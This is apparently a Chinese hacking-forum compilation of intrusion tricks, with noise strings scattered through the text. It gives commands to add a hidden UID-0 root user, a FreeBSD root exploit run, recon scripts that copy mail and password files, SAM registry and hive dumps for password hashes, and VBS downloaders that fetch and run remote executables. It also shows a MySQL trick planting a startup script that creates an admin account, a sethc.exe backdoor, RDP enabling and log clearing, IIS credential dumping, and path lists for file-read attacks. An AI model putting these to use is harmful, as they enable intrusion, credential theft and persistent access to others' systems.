七: Linux添加UID为0的root用户
0 s- T2 V+ w, d) Q, U! Y! c2 Zuseradd -o -u 0 nothack
, T+ P+ [! h$ `
; c* i" s& M8 m) f4 p; X: ^八.freebsd本地提权
[argp@julius ~]$ uname -rsi
1 }6 p3 F  P$ C* freebsd 7.3-RELEASE GENERIC
; `8 i# S) ], U) X+ a9 e/ M$ k* [argp@julius ~]$ sysctl vfs.usermount
7 q7 y. \8 w& o* vfs.usermount: 1
! ~! {$ p! {3 C/ q- v% `0 D% L+ [* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
- d9 t( p9 V1 q9 M- ~* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()

& t. ?5 C! k, Q+ {（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
; T: q4 V* E8 H/ _$ {9 e9 [4 r——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
% ~3 m! _7 `$ B2 H2 n- d  G; j{
7 |# w, Z0 r. U0 G注：
6 r0 Y/ f9 J* G8 j6 }  t6 q关于tar的打包方式,linux不以扩展名来决定文件类型。
* k/ y" \- G4 i! Y若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
# |. f+ Z% z/ X$ ]8 `% }那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

( K* s* R0 S1 \( u* y& I提权先执行systeminfo
$ p, W% E+ h  u6 Ptoken 漏洞补丁号 KB956572
2 H2 q. H9 B* ^- aChurrasco          kb952004
" C- A- e  R1 O0 o% r6 M( \命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
8 d! |( s2 r' k( ~5 K+ {2、收集系统信息的脚本  
for window：

@echo off
echo #########system info collection
systeminfo
9 J  U/ H; C7 W# D, U. aver
hostname
; r; q6 o8 Y( z$ B8 lnet user
net localgroup
net localgroup administrators
. A& f1 \& T- z  N! ]! Hnet user guest
8 f* I+ K4 x; p- r3 Wnet user administrator

echo #######at- with   atq#####
% l- c0 K  f- gecho schtask /query

1 W, Z1 K1 i2 X. o; qecho
, W/ R; m- o! @) F: pecho ####task-list#############
8 S$ u, S8 |; V. etasklist /svc
echo
echo ####net-work infomation
ipconfig/all
: I! ~& j$ S. e7 B8 I# [. P; q/ P! \" ]route print
arp -a
netstat -anipconfig /displaydns
echo
! t/ A# M2 w) V+ t# Q! O  Zecho #######service############
# R0 @+ n  @/ \sc query type= service state= all
$ s2 F0 b+ u% Q- N9 h" B% ?' ~echo #######file-##############
cd \
tree -F
for linux：
8 d0 U( [% w$ F0 `0 b3 [9 R& |. W
#!/bin/bash
$ e/ B+ h6 S3 {
5 ]/ h0 z8 c' Y8 W8 ?, Q- iecho #######geting sysinfo####
; U1 z6 m& G, pecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
) U" ~( _5 K& `& x% Y  Y% f8 D% Secho #######basic infomation##
3 x8 i) I% b4 I  ^$ icat /proc/meminfo
echo
cat /proc/cpuinfo
4 @/ t- m, E/ V; ^/ xecho
rpm -qa 2>/dev/null
* e9 J& f' e+ @; Y' o) r% Y" p######stole the mail......######
7 P+ g$ ^! Y) Q5 @* P) hcp -a /var/mail /tmp/getmail 2>/dev/null

& w  L& Z+ Y( @
echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
' ^4 [) \5 w/ Gecho #####about var#####
set
5 r# a# G, A) N8 b1 J" d% D
echo #####about network###
0 r$ r  ]/ _% V# f####this is then point in pentest,but i am a new bird,so u need to add some in it
( D) q( V/ H, T5 Ucat /etc/hosts
" [6 r% \" E+ Yhostname
3 ]: S) j4 L9 p* C; E- }4 f! W! \ipconfig -a
" z6 G+ m/ f+ _& Varp -v
echo ########user####
cat /etc/passwd|grep -i sh

; T! G" k" O, D* G. ~' J7 iecho ######service####
$ W: F* ]# E% fchkconfig --list
  i5 E+ j  v) F3 B( `1 @5 O
for i in {oracle,mysql,tomcat,samba,apache,ftp}
9 f* U. ?# Z& P* S$ T/ s, {% W8 Ccat /etc/passwd|grep -i $i
7 t. U6 I0 j- q7 d1 \7 U" H  Vdone

locate passwd >/tmp/password 2>/dev/null
/ U( K3 m( u! v/ }sleep 5
locate password >>/tmp/password 2>/dev/null
: O3 b3 O$ G' S" h" a( C0 G' v5 fsleep 5
locate conf >/tmp/sysconfig 2>dev/null
6 d* _$ I  U8 m' W+ }sleep 5
# O9 ?4 W7 f" o" Q" s' Plocate config >>/tmp/sysconfig 2>/dev/null
sleep 5

###maybe can use "tree /"###
* V5 ?! {$ \/ ]9 q2 ]$ C8 [echo ##packing up#########
5 L% e8 D, o1 e/ itar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
( m$ s# x+ g" D: g" z3 {——————————————
3、ethash 不免杀怎么获取本机hash。
; Z, b$ p, y& J' v首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
3 O" t/ \# u: g, P               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
3 v. ?' J4 M6 S% D& ]——————————————
: v* h0 P6 J# `2 I4、vbs 下载者
1
) w' d2 r: o* K' X, J. ~echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
, X% m- G4 R' m. H& Hecho sGet.Type = 1 >>c:\windows\cftmon.vbs
( ~0 |( D8 r( h$ _# |3 `echo sGet.Open() >>c:\windows\cftmon.vbs
9 Z4 d9 z& x5 b* G7 Y  oecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
7 a3 K7 j3 |# V' o: m# }echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
8 J& J) s; c; T1 P0 Ccftmon.vbs

+ R. ?& T! M! i; O: l7 Z/ K7 w2
$ X1 t7 U# L8 S% v1 DOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
/ ]0 Y/ {7 X$ U+ N1 Z* g$ B& ts1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
6 e" r, q' l. ?% k( a& `8 h9 BSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
0 _5 I' w9 X% P
& ^( u0 H) D' O$ Y. Ccscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
7 E, a. R/ a! Z3 E$ _
% [4 z' R* H; f当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
. h2 a1 C# g  f8 X0 n* f3 \3.更改终端端口为2008(0x7d8)
9 M& Z% s0 E; i5 c$ X6 ^3 oREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
/ W6 e" h9 |3 y$ z4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
4 p! x6 x3 S( I2 Q9 U- A————————————————
% k# j4 X( {5 v! Y6、create table a (cmd text);
! _: k. {. j3 C( Y# E& winsert into a values ("set wshshell=createobject (""wscript.shell"")");
! P( S- q0 Q) rinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
2 N: R  P+ @" R9 Jselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
3 b1 m6 A3 |  @5 B: H& C. n6 v————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

, m$ i5 G2 M$ s& p列出d的所有目录
  
% `# R+ L, ?' b  for /d %i in (???) do @echo %i

0 q6 `$ T* s( G5 d& O- z5 h0 b把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
1 n1 `. N! ?2 {/ S% ~3 a: ?- u1 I  
5 I( C# u& j4 |- e以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
# b- e5 v' a: j7 c
/ i+ |; E2 \) A/ q9 Y* s% ]4 R" Z3.for /f %i in (c:\1.txt) do echo %i
9 t: A: y3 D4 f! F& a+ @- ^) e2 {  
! r# I! u  S7 d8 n) x8 R  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
6 ^7 N; n: F+ w/ Z6 u8 H8 N
9 P; A" U: f" x  delims=后的空格是分隔符 tokens是取第几个位置
$ R8 Q2 \5 E& Q——————————
●注册表:
1.Administrator注册表备份:
2 b8 a  e5 r: }( u8 `, K( ~reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
1 N9 }2 K3 O( g' h% N8 y# i; u
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
0 r1 k( q& j$ x* U: Q; K7 ^7 P修改PortNumber.

7 r  ^& t1 j6 D7 [( S% p4 V3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

  T9 y) W- E. `1 k* Z( l4.Radmin密码:
3 \9 @: w& z1 o# {8 [- Nreg export HKLM\SYSTEM\RAdmin c:\a.reg

& d5 Q' \3 N& n( b  q( w5.禁用TCP/IP端口筛选(需重启):
  ]- j: F$ K- d7 S6 j& }; XREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
5 A' W! f/ y+ Preg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0

2 j0 [1 c, Q5 }) N; l7.停止指派策略"myipsec":
) H# J& }' L, Y% G4 qnetsh ipsec static set policy name="myipsec" assign=n

2 f* G% I" B) {8.系统口令恢复LM加密:
' E9 h2 C; \* A9 a# }  _2 Q+ L/ xreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

* s: p) z( {4 Q. m% a: i* X9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
2 G. p1 k, e0 g/ z6 v7 h& E) ureg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

3 f5 p, L- }0 a% `" J& X10.shift映像劫持
8 P; k$ A0 k& V+ \5 n) w; Areg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

  _; z$ H# B+ a0 F. Nreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
6 h2 m. A) A+ B星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
# k; X. i2 P. a6 ^+ P9 Q  wchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
& A) }  F8 D0 {. o( E7 h2 b* Cif IsNumeric(childObjectName)=true then
2 d" u& ^: ]' ^3 j" `set IIs=objservice.GetObject("IIsWebServer",childObjectName)
8 W2 c, a8 i, Y- S/ @8 gif err.number<>0 then
exit for
msgbox("error!")
% V2 F3 l- ?, Awscript.quit
! t1 k& K+ E$ k* v1 P5 nend if
# Y3 r1 x. J$ c/ i& Zserverbindings=IIS.serverBindings
+ m+ G; H9 A( z& L+ z: uServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
2 t; U! L! v. n7 x) I5 F. N4 qpass=iisweb.AnonymousUserPass
! F! [5 _) U9 t/ m. u" I* [path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
- v- T8 N3 C, ]  Z- Xwscript.echo list
Set ObjService=Nothing
  O* B# F$ S; q! n3 S% ^9 iwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
5 T- a/ h- F6 Z3 d8 @2 W9 [3 F7 g复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
4 u! G; A9 B1 K: w1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
; ?* d' O2 O5 F% }9 f' t  D! F2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
* @$ Z2 r+ m& Y) Q1 ]将folder.htt文件，加入以下代码：
/ h& F/ a: A' e0 v<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
8 l3 U* D5 T/ F% X  |; `然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
" b4 Q( `( ]9 r2 i+ `* X8 I' t url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
9 Q" v, u3 J2 F 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
" U* F/ n+ t( b2 o- o& v  t, c" r9 U
- Y5 e8 @" i+ o8 D, L==============================================================
' ]; p. s; k( q4 R! l. P  |7 GLINUX常见路径：

/etc/passwd
# l3 K( w, R/ {* D) p/etc/shadow
( }0 X9 S1 N; D6 Y! ^/etc/fstab
8 @' S$ O7 x* ?/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
7 F2 U* l5 n7 \3 ]& p9 L/var/www/conf/httpd.conf
$ k: M) @$ e& D1 K- \% K/var/www/htdocs/index.html
! O6 U* ?9 k+ o3 m; D2 L5 ~/var/httpd/conf/php.ini
; L' U; w8 H& i- E/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/ z& R2 z0 f  h5 s/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
- {) P5 P% }3 P" \0 ?/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/ `: O. W9 ?1 U- A* o, Q0 g/ S/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
$ B! ]9 v+ i& W; }/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
8 f# u1 h, P5 S- M/tmp/apache/htdocs/index.html
4 \- w5 ?7 V8 d, j* Z0 I7 `/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
9 l& ]- ?9 h' g  {( u, Y: Q/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
- x$ R" ?# O: h+ G0 |$ ~/www/php/php.ini
/www/php4/php.ini
( h* n% ~. {! K9 a" T2 N/www/php5/php.ini
/www/conf/httpd.conf
. n. Z& A0 S0 |) h7 T2 a/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
5 t" w. T) [5 m) C, k+ Q5 m/apache/apache2/conf/httpd.conf
% W0 J) `* M. x/ L& h5 y; X, n" h/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
4 h2 I6 D- \$ w$ t3 `! R/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
2 c" ?! {, h( m$ o7 x/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
3 P6 C* h7 x. i+ u  E5 V/etc/httpd/logs/error_log
( o9 G/ [" I4 J% b/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
$ G5 r9 e  `# @1 Y# k: ^+ f- L/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
% N+ h4 T/ A# ]8 F3 H2 ~/home/apache2/conf/httpd.conf
/var/log/apache/error_log
8 z" L: ~! c; Z5 k/var/log/apache/error.log
  p( I7 C; E6 S( h/var/log/apache/access_log
- c- k; z) x0 C/var/log/apache/access.log
' h% V4 A1 o" f1 d4 O2 N/var/log/apache2/error_log
/var/log/apache2/error.log
3 V0 H: Z1 o. G# w: @: S/var/log/apache2/access_log
/var/log/apache2/access.log
" h' a7 U2 a3 f6 T8 y/var/www/logs/error_log
( t) I0 _: K$ @8 i+ L8 ^3 }7 D: ?/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
& U& k4 b! m* w4 S9 C! O* q! q$ y! V/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/ Y- _' Y/ S2 M' a/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
% L, M. y* Q1 x% k- C/var/log/access_log
/var/log/access.log
9 \4 X$ c" t! l# z) }/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
% Q' k* e5 S5 B1 w+ t' k/bin/php.ini
5 d5 h' p0 t# s/etc/init.d/httpd
$ _$ ~8 E2 V, k/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
% \- D+ Z' n. n7 O( {/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
" B5 t8 r2 F% E+ X3 O# v7 F+ m/usr/local/php4/lib/php.ini
: V; E$ D+ s6 N+ T/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
1 `/ W& Y; g6 c+ S6 K# l' i/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
6 s7 r2 x/ |+ K8 b# O/etc/php4/apache2/php.ini
6 w" j! S, K$ i, Z( I) l" p/etc/php5/apache/php.ini
- p$ l0 ?& A9 T0 a0 `6 ^% r" e/etc/php5/apache2/php.ini
! o% Z. H4 [$ T# Y2 T& l! _/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
5 ^3 J8 E0 D: S/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
$ S# R1 t' J" s" V7 R. [+ u) d9 R/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
+ q  m: Y9 [' x# J  \4 ~/php5/php.ini
" X4 e! K, R6 n, Y( `* w" s( i9 h/php4/php.ini
9 Y) c% {7 X  Z, A: }$ W/php/php.ini
3 ^* q% k1 l% r) ~: S& d: T/ {/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
; B& U( l! O& v4 C/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
+ y8 Q7 O  R( {+ u0 o/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
6 e- i# `3 k! Z& h/ J; k/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
; N. X/ \1 Q6 r) u( _) \# x/var/lib/mysql/my.cnf
% ]0 |# O. ~$ c0 V. \/ @3 P- E/usr/local/mysql/my.cnf
  ^+ @" U+ Y8 e! g/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
1 |& T" u/ N& \* M/ K  ?/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
5 v8 [: R0 M( _9 z9 {, A7 Y/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
. @4 ?, p  K7 s/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

# s4 G4 s# t2 S! w9 H2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
# f( b1 G, U3 G" H
- G& |- w( ^: g, Y( f6 Pc:\windows\php.ini
c:\boot.ini
c:\1.txt
1 i0 D5 n% x8 M: u  L! C, Y+ K6 Q5 gc:\a.txt
# m7 {( I* r1 L. O& N% u
$ Z$ E. C1 \8 d9 i% m( x* W$ gc:\CMailServer\config.ini
. ]1 ?" @( T5 m+ t) E' n0 nc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
% K0 S) B5 J3 _5 M1 r6 _c:\program files\CMailServer\WebMail\index.asp
( c6 L- h; a8 CC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
% ^3 P. F( l$ _$ `$ m" rC:\WINDOWS\FreeHost32.dll
" f: n3 {2 V- L+ w7 D& eC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

2 B) h- d9 R" r0 h! o) J# Zc:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
! B% @* ~; w7 y
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
9 o5 |1 o+ w+ m- c5 N+ a) {c:\website\index.html
c:\web\index.asp
5 D7 N, F# a2 \1 Hc:\www\index.asp
  {5 b$ X$ v% h4 W0 x9 U. _c:\wwwsite\index.asp
) }" s$ C& x- Cc:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
. q3 K$ F: b# Uc:\WWWROOT\index.php
6 B4 K% T& H  A3 gc:\WWWsite\index.php
c:\web\default.html
" a7 R/ J0 v! G# y$ t# Wc:\www\default.html
c:\WWWROOT\default.html
3 Y* F* A3 w) R! Mc:\website\default.html
( {2 K( m6 c% n/ A# mc:\web\default.asp
c:\www\default.asp
: T$ O) Q: K/ X( q' yc:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
, p0 i) b5 B; \c:\winnt\notepad.exe
, \  p0 R0 w, h0 KC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
; o! o5 K+ @0 F- @C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
' p! }8 i' I' t' B! h6 UC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
- `- I+ n7 V5 U4 \% n$ }c:\rising.ini
0 Y/ A7 O% A  }5 x7 B, p$ Z0 v' EC:\Program Files\Rising\Rav\RsTask.xml
& z% ]; C/ I* v9 `8 A$ gC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
& V* i8 y8 S2 kC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
0 z6 u- A3 I5 T; RC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
: S1 H& b" f4 k) o& nC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
0 ~6 i& i6 B( E8 I  k3 c! g! n5 EE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
& c( G) Y& r' K1 ?6 `& C; xC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
; b  R# s( ]1 t7 q4 x9 M8 c: L2 eC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
0 r0 a; M! L  l- g9 y- ?C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
$ ^# D; l6 m, x- Z6 q6 pC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
( t3 M: r1 M0 i& q0 w* t& dC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
; Q8 J8 \2 E: ~* T( s5 W# \$ CC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
, ]; }3 s; g: O+ h# S, l7 h+ A' g2 WC:\MySQL\MySQL Server 5.0\my.ini
0 k& \& z5 O) K7 B3 oC:\Program Files\MySQL\MySQL Server 5.0\my.ini
# L4 n" U: \& s& k/ h0 G9 ^8 cC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
$ A# [% F/ O" E* U* TC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
5 b1 C$ w4 v' x4 Ec:\MySQL\MySQL Server 4.1\data\mysql\user.frm
- ~) I* C8 i+ o8 s- O0 f+ F+ @C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
5 {! }" h% g/ i+ Z: |C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
3 [  f1 A& m" ~, H) w" cC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
9 z  Q* {0 R1 ]+ k, Xc:\CMailServer\config.ini
, C8 k$ O! C3 Q' V7 `; d4 Hc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
. ~3 l6 N: h% G* G3 P6 `6 ?8 t) [% Ec:\tomcat6\bin\version.sh
* |5 B9 W; G7 I) Uc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
) u$ j( R0 e( Q9 B3 W* i2 Uc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
4 r) h# V: @) {- L( y. x/ b( Jc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
0 k, S/ O5 W" r  T7 }c:\Apache2\php\license.txt
